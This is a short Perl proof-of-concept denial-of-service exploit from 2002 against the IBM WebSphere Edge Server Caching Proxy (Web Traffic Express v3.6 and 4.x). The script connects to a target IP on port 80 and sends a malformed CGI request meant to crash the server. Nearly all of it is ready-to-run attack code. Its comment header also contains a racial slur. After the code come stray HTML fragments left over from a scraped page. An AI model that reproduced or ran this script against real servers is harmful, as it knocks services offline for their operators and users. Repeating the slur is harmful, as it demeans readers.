#!/usr/bin/perl -w
# Proof of concept code
# IBM WebSphere Edge Server Caching Proxy Denial of Service by: Knight420
# Released: Oct.23.2002
#
# Known Versions Vulnerable:
# o IBM Web Traffic Express Caching Proxy Server v4.x (bundled with IBM
WebSphere Edge Server v2.0)
# o IBM Web Traffic Express Caching Proxy Server v3.6
#
# Gr33tz to all my niggaz in cell block 10 and all my niggaz in Compton
rolling on dubs
#
use IO::Socket;
if ($#ARGV<0)
{
system('clear ');
print "\nIBM WebSphere Edge Server Caching Proxy Denial of Service by:
Knight420";
print "\n\n Usage: perl emptypockets.pl ip\n\n";
exit;
}
$check = ("GET /cgi-bin/helpout.exe| HTTP/1.0");
$connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]",
PeerPort=>"80"); unless ($connect) { die "Cannot connect to host $ARGV[0]" }
system('clear ');
printf "IBM WebSphere Edge Server Caching Proxy Denial of Service by:
Knight420";
printf "\n*** [1] Server is up...";
printf "\n*** [2] Sending our elite code...";
print $connect "$check";
printf "\n*** [3] Server should now be crashed\n\n";
close($connect);
|
| |
|
| <![CDATA[<span id="7ztzv"></span>]]><![CDATA[<form id="7ztzv"></form>]]> | | |
|
<![CDATA[<span id="7ztzv"></span>]]> |
|
|
|
|
<![CDATA[<address id="7ztzv"></address>]]>
| |